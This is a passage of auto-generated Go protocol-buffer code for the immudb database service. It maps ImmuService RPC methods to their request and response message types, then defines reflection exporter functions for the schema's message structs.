immudb.schema.AuthConfig\n\t14,  // 161: immudb.schema.ImmuService.UpdateMTLSConfig:input_type -> immudb.schema.MTLSConfig\n\t15,  // 162: immudb.schema.ImmuService.OpenSession:input_type -> immudb.schema.OpenSessionRequest\n\t140, // 163: immudb.schema.ImmuService.CloseSession:input_type -> google.protobuf.Empty\n\t140, // 164: immudb.schema.ImmuService.KeepAlive:input_type -> google.protobuf.Empty\n\t122, // 165: immudb.schema.ImmuService.NewTx:input_type -> immudb.schema.NewTxRequest\n\t140, // 166: immudb.schema.ImmuService.Commit:input_type -> google.protobuf.Empty\n\t140, // 167: immudb.schema.ImmuService.Rollback:input_type -> google.protobuf.Empty\n\t113, // 168: immudb.schema.ImmuService.TxSQLExec:input_type -> immudb.schema.SQLExecRequest\n\t114, // 169: immudb.schema.ImmuService.TxSQLQuery:input_type -> immudb.schema.SQLQueryRequest\n\t11,  // 170: immudb.schema.ImmuService.Login:input_type -> immudb.schema.LoginRequest\n\t140, // 171: immudb.schema.ImmuService.Logout:input_type -> google.protobuf.Empty\n\t44,  // 172: immudb.schema.ImmuService.Set:input_type -> immudb.schema.SetRequest\n\t48,  // 173: immudb.schema.ImmuService.VerifiableSet:input_type -> immudb.schema.VerifiableSetRequest\n\t45,  // 174: immudb.schema.ImmuService.Get:input_type -> immudb.schema.KeyRequest\n\t49,  // 175: immudb.schema.ImmuService.VerifiableGet:input_type -> immudb.schema.VerifiableGetRequest\n\t47,  // 176: immudb.schema.ImmuService.Delete:input_type -> immudb.schema.DeleteKeysRequest\n\t46,  // 177: immudb.schema.ImmuService.GetAll:input_type -> immudb.schema.KeyListRequest\n\t22,  // 178: immudb.schema.ImmuService.ExecAll:input_type -> immudb.schema.ExecAllRequest\n\t26,  // 179: immudb.schema.ImmuService.Scan:input_type -> immudb.schema.ScanRequest\n\t27,  // 180: immudb.schema.ImmuService.Count:input_type -> immudb.schema.KeyPrefix\n\t140, // 181: immudb.schema.ImmuService.CountAll:input_type -> google.protobuf.Empty\n\t62,  // 182: immudb.schema.ImmuService.TxById:input_type -> immudb.schema.TxRequest\n\t65,  // 183: immudb.schema.ImmuService.VerifiableTxById:input_type -> immudb.schema.VerifiableTxRequest\n\t66,  // 184: immudb.schema.ImmuService.TxScan:input_type -> immudb.schema.TxScanRequest\n\t60,  // 185: immudb.schema.ImmuService.History:input_type -> immudb.schema.HistoryRequest\n\t50,  // 186: immudb.schema.ImmuService.ServerInfo:input_type -> immudb.schema.ServerInfoRequest\n\t140, // 187: immudb.schema.ImmuService.Health:input_type -> google.protobuf.Empty\n\t140, // 188: immudb.schema.ImmuService.DatabaseHealth:input_type -> google.protobuf.Empty\n\t140, // 189: immudb.schema.ImmuService.CurrentState:input_type -> google.protobuf.Empty\n\t55,  // 190: immudb.schema.ImmuService.SetReference:input_type -> immudb.schema.ReferenceRequest\n\t56,  // 191: immudb.schema.ImmuService.VerifiableSetReference:input_type -> immudb.schema.VerifiableReferenceRequest\n\t57,  // 192: immudb.schema.ImmuService.ZAdd:input_type -> immudb.schema.ZAddRequest\n\t61,  // 193: immudb.schema.ImmuService.VerifiableZAdd:input_type -> immudb.schema.VerifiableZAddRequest\n\t59,  // 194: immudb.schema.ImmuService.ZScan:input_type -> immudb.schema.ZScanRequest\n\t70,  // 195: immudb.schema.ImmuService.CreateDatabase:input_type -> immudb.schema.Database\n\t71,  // 196: immudb.schema.ImmuService.CreateDatabaseWith:input_type -> immudb.schema.DatabaseSettings\n\t72,  // 197: immudb.schema.ImmuService.CreateDatabaseV2:input_type -> immudb.schema.CreateDatabaseRequest\n\t89,  // 198: immudb.schema.ImmuService.LoadDatabase:input_type -> immudb.schema.LoadDatabaseRequest\n\t91,  // 199: immudb.schema.ImmuService.UnloadDatabase:input_type -> immudb.schema.UnloadDatabaseRequest\n\t93,  // 200: immudb.schema.ImmuService.DeleteDatabase:input_type -> immudb.schema.DeleteDatabaseRequest\n\t140, // 201: immudb.schema.ImmuService.DatabaseList:input_type -> google.protobuf.Empty\n\t108, // 202: immudb.schema.ImmuService.DatabaseListV2:input_type -> immudb.schema.DatabaseListRequestV2\n\t70,  // 203: immudb.schema.ImmuService.UseDatabase:input_type -> immudb.schema.Database\n\t71,  // 204: immudb.schema.ImmuService.UpdateDatabase:input_type -> immudb.schema.DatabaseSettings\n\t74,  // 205: immudb.schema.ImmuService.UpdateDatabaseV2:input_type -> immudb.schema.UpdateDatabaseRequest\n\t140, // 206: immudb.schema.ImmuService.GetDatabaseSettings:input_type -> google.protobuf.Empty\n\t76,  // 207: immudb.schema.ImmuService.GetDatabaseSettingsV2:input_type -> immudb.schema.DatabaseSettingsRequest\n\t95,  // 208: immudb.schema.ImmuService.FlushIndex:input_type -> immudb.schema.FlushIndexRequest\n\t140, // 209: immudb.schema.ImmuService.CompactIndex:input_type -> google.protobuf.Empty\n\t45,  // 210: immudb.schema.ImmuService.streamGet:input_type -> immudb.schema.KeyRequest\n\t111, // 211: immudb.schema.ImmuService.streamSet:input_type -> immudb.schema.Chunk\n\t49,  // 212: immudb.schema.ImmuService.streamVerifiableGet:input_type -> immudb.schema.VerifiableGetRequest\n\t111, // 213: immudb.schema.ImmuService.streamVerifiableSet:input_type -> immudb.schema.Chunk\n\t26,  // 214: immudb.schema.ImmuService.streamScan:input_type -> immudb.schema.ScanRequest\n\t59,  // 215: immudb.schema.ImmuService.streamZScan:input_type -> immudb.schema.ZScanRequest\n\t60,  // 216: immudb.schema.ImmuService.streamHistory:input_type -> immudb.schema.HistoryRequest\n\t111, // 217: immudb.schema.ImmuService.streamExecAll:input_type -> immudb.schema.Chunk\n\t68,  // 218: immudb.schema.ImmuService.exportTx:input_type -> immudb.schema.ExportTxRequest\n\t111, // 219: immudb.schema.ImmuService.replicateTx:input_type -> immudb.schema.Chunk\n\t68,  // 220: immudb.schema.ImmuService.streamExportTx:input_type -> immudb.schema.ExportTxRequest\n\t113, // 221: immudb.schema.ImmuService.SQLExec:input_type -> immudb.schema.SQLExecRequest\n\t114, // 222: immudb.schema.ImmuService.UnarySQLQuery:input_type -> immudb.schema.SQLQueryRequest\n\t114, // 223: immudb.schema.ImmuService.SQLQuery:input_type -> immudb.schema.SQLQueryRequest\n\t140, // 224: immudb.schema.ImmuService.ListTables:input_type -> google.protobuf.Empty\n\t97,  // 225: immudb.schema.ImmuService.DescribeTable:input_type -> immudb.schema.Table\n\t99,  // 226: immudb.schema.ImmuService.VerifiableSQLGet:input_type -> immudb.schema.VerifiableSQLGetRequest\n\t127, // 227: immudb.schema.ImmuService.TruncateDatabase:input_type -> immudb.schema.TruncateDatabaseRequest\n\t7,   // 228: immudb.schema.ImmuService.ListUsers:output_type -> immudb.schema.UserList\n\t140, // 229: immudb.schema.ImmuService.CreateUser:output_type -> google.protobuf.Empty\n\t140, // 230: immudb.schema.ImmuService.ChangePassword:output_type -> google.protobuf.Empty\n\t140, // 231: immudb.schema.ImmuService.ChangePermission:output_type -> google.protobuf.Empty\n\t105, // 232: immudb.schema.ImmuService.ChangeSQLPrivileges:output_type -> immudb.schema.ChangeSQLPrivilegesResponse\n\t140, // 233: immudb.schema.ImmuService.SetActiveUser:output_type -> google.protobuf.Empty\n\t140, // 234: immudb.schema.ImmuService.UpdateAuthConfig:output_type -> google.protobuf.Empty\n\t140, // 235: immudb.schema.ImmuService.UpdateMTLSConfig:output_type -> google.protobuf.Empty\n\t16,  // 236: immudb.schema.ImmuService.OpenSession:output_type -> immudb.schema.OpenSessionResponse\n\t140, // 237: immudb.schema.ImmuService.CloseSession:output_type -> google.protobuf.Empty\n\t140, // 238: immudb.schema.ImmuService.KeepAlive:output_type -> google.protobuf.Empty\n\t123, // 239: immudb.schema.ImmuService.NewTx:output_type -> immudb.schema.NewTxResponse\n\t117, // 240: immudb.schema.ImmuService.Commit:output_type -> immudb.schema.CommittedSQLTx\n\t140, // 241: immudb.schema.ImmuService.Rollback:output_type -> google.protobuf.Empty\n\t140, // 242: immudb.schema.ImmuService.TxSQLExec:output_type -> google.protobuf.Empty\n\t118, // 243: immudb.schema.ImmuService.TxSQLQuery:output_type -> immudb.schema.SQLQueryResult\n\t12,  // 244: immudb.schema.ImmuService.Login:output_type -> immudb.schema.LoginResponse\n\t140, // 245: immudb.schema.ImmuService.Logout:output_type -> google.protobuf.Empty\n\t30,  // 246: immudb.schema.ImmuService.Set:output_type -> immudb.schema.TxHeader\n\t40,  // 247: immudb.schema.ImmuService.VerifiableSet:output_type -> immudb.schema.VerifiableTx\n\t19,  // 248: immudb.schema.ImmuService.Get:output_type -> immudb.schema.Entry\n\t42,  // 249: immudb.schema.ImmuService.VerifiableGet:output_type -> immudb.schema.VerifiableEntry\n\t30,  // 250: immudb.schema.ImmuService.Delete:output_type -> immudb.schema.TxHeader\n\t23,  // 251: immudb.schema.ImmuService.GetAll:output_type -> immudb.schema.Entries\n\t30,  // 252: immudb.schema.ImmuService.ExecAll:output_type -> immudb.schema.TxHeader\n\t23,  // 253: immudb.schema.ImmuService.Scan:output_type -> immudb.schema.Entries\n\t28,  // 254: immudb.schema.ImmuService.Count:output_type -> immudb.schema.EntryCount\n\t28,  // 255: immudb.schema.ImmuService.CountAll:output_type -> immudb.schema.EntryCount\n\t36,  // 256: immudb.schema.ImmuService.TxById:output_type -> immudb.schema.Tx\n\t40,  // 257: immudb.schema.ImmuService.VerifiableTxById:output_type -> immudb.schema.VerifiableTx\n\t67,  // 258: immudb.schema.ImmuService.TxScan:output_type -> immudb.schema.TxList\n\t23,  // 259: immudb.schema.ImmuService.History:output_type -> immudb.schema.Entries\n\t51,  // 260: immudb.schema.ImmuService.ServerInfo:output_type -> immudb.schema.ServerInfoResponse\n\t52,  // 261: immudb.schema.ImmuService.Health:output_type -> immudb.schema.HealthResponse\n\t53,  // 262: immudb.schema.ImmuService.DatabaseHealth:output_type -> immudb.schema.DatabaseHealthResponse\n\t54,  // 263: immudb.schema.ImmuService.CurrentState:output_type -> immudb.schema.ImmutableState\n\t30,  // 264: immudb.schema.ImmuService.SetReference:output_type -> immudb.schema.TxHeader\n\t40,  // 265: immudb.schema.ImmuService.VerifiableSetReference:output_type -> immudb.schema.VerifiableTx\n\t30,  // 266: immudb.schema.ImmuService.ZAdd:output_type -> immudb.schema.TxHeader\n\t40,  // 267: immudb.schema.ImmuService.VerifiableZAdd:output_type -> immudb.schema.VerifiableTx\n\t25,  // 268: immudb.schema.ImmuService.ZScan:output_type -> immudb.schema.ZEntries\n\t140, // 269: immudb.schema.ImmuService.CreateDatabase:output_type -> google.protobuf.Empty\n\t140, // 270: immudb.schema.ImmuService.CreateDatabaseWith:output_type -> google.protobuf.Empty\n\t73,  // 271: immudb.schema.ImmuService.CreateDatabaseV2:output_type -> immudb.schema.CreateDatabaseResponse\n\t90,  // 272: immudb.schema.ImmuService.LoadDatabase:output_type -> immudb.schema.LoadDatabaseResponse\n\t92,  // 273: immudb.schema.ImmuService.UnloadDatabase:output_type -> immudb.schema.UnloadDatabaseResponse\n\t94,  // 274: immudb.schema.ImmuService.DeleteDatabase:output_type -> immudb.schema.DeleteDatabaseResponse\n\t107, // 275: immudb.schema.ImmuService.DatabaseList:output_type -> immudb.schema.DatabaseListResponse\n\t109, // 276: immudb.schema.ImmuService.DatabaseListV2:output_type -> immudb.schema.DatabaseListResponseV2\n\t102, // 277: immudb.schema.ImmuService.UseDatabase:output_type -> immudb.schema.UseDatabaseReply\n\t140, // 278: immudb.schema.ImmuService.UpdateDatabase:output_type -> google.protobuf.Empty\n\t75,  // 279: immudb.schema.ImmuService.UpdateDatabaseV2:output_type -> immudb.schema.UpdateDatabaseResponse\n\t71,  // 280: immudb.schema.ImmuService.GetDatabaseSettings:output_type -> immudb.schema.DatabaseSettings\n\t77,  // 281: immudb.schema.ImmuService.GetDatabaseSettingsV2:output_type -> immudb.schema.DatabaseSettingsResponse\n\t96,  // 282: immudb.schema.ImmuService.FlushIndex:output_type -> immudb.schema.FlushIndexResponse\n\t140, // 283: immudb.schema.ImmuService.CompactIndex:output_type -> google.protobuf.Empty\n\t111, // 284: immudb.schema.ImmuService.streamGet:output_type -> immudb.schema.Chunk\n\t30,  // 285: immudb.schema.ImmuService.streamSet:output_type -> immudb.schema.TxHeader\n\t111, // 286: immudb.schema.ImmuService.streamVerifiableGet:output_type -> immudb.schema.Chunk\n\t40,  // 287: immudb.schema.ImmuService.streamVerifiableSet:output_type -> immudb.schema.VerifiableTx\n\t111, // 288: immudb.schema.ImmuService.streamScan:output_type -> immudb.schema.Chunk\n\t111, // 289: immudb.schema.ImmuService.streamZScan:output_type -> immudb.schema.Chunk\n\t111, // 290: immudb.schema.ImmuService.streamHistory:output_type -> immudb.schema.Chunk\n\t30,  // 291: immudb.schema.ImmuService.streamExecAll:output_type -> immudb.schema.TxHeader\n\t111, // 292: immudb.schema.ImmuService.exportTx:output_type -> immudb.schema.Chunk\n\t30,  // 293: immudb.schema.ImmuService.replicateTx:output_type -> immudb.schema.TxHeader\n\t111, // 294: immudb.schema.ImmuService.streamExportTx:output_type -> immudb.schema.Chunk\n\t116, // 295: immudb.schema.ImmuService.SQLExec:output_type -> immudb.schema.SQLExecResult\n\t118, // 296: immudb.schema.ImmuService.UnarySQLQuery:output_type -> immudb.schema.SQLQueryResult\n\t118, // 297: immudb.schema.ImmuService.SQLQuery:output_type -> immudb.schema.SQLQueryResult\n\t118, // 298: immudb.schema.ImmuService.ListTables:output_type -> immudb.schema.SQLQueryResult\n\t118, // 299: immudb.schema.ImmuService.DescribeTable:output_type -> immudb.schema.SQLQueryResult\n\t101, // 300: immudb.schema.ImmuService.VerifiableSQLGet:output_type -> immudb.schema.VerifiableSQLEntry\n\t128, // 301: immudb.schema.ImmuService.TruncateDatabase:output_type -> immudb.schema.TruncateDatabaseResponse\n\t228, // [228:302] is the sub-list for method output_type\n\t154, // [154:228] is the sub-list for method input_type\n\t154, // [154:154] is the sub-list for extension type_name\n\t154, // [154:154] is the sub-list for extension extendee\n\t0,   // [0:154] is the sub-list for field type_name\n}\n\nfunc init() { file_schema_proto_init() }\nfunc file_schema_proto_init() {\n\tif File_schema_proto != nil {\n\t\treturn\n\t}\n\tif !protoimpl.UnsafeEnabled {\n\t\tfile_schema_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*Key); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[1].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*Permission); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[2].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*User); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[3].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*SQLPrivilege); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[4].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*UserList); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[5].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*CreateUserRequest); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[6].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*UserRequest); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[7].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*ChangePasswordRequest); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[8].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*LoginRequest); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[9].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*LoginResponse); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[10].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*AuthConfig); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[11].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*MTLSConfig); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[12].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*OpenSessionRequest); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[13].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*OpenSessionResponse); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[14].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*Precondition); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[15].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*KeyValue); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[16].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*Entry); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[17].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*Reference); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[18].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*Op); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[19].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*ExecAllRequest); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[20].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*Entries); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[21].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*ZEntry); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[22].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*ZEntries); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[23].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*ScanRequest); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[24].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*KeyPrefix); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[25].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*EntryCount); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[26].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*Signature); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[27].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*TxHeader); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[28].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*TxMetadata); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[29].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*LinearProof); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[30].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*LinearAdvanceProof); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[31].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*DualProof); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[32].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*DualProofV2); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[33].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*Tx); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[34].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*TxEntry); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[35].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*KVMetadata); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[36].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*Expiration); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_schema_proto_msgTypes[37].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*VerifiableTx); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn 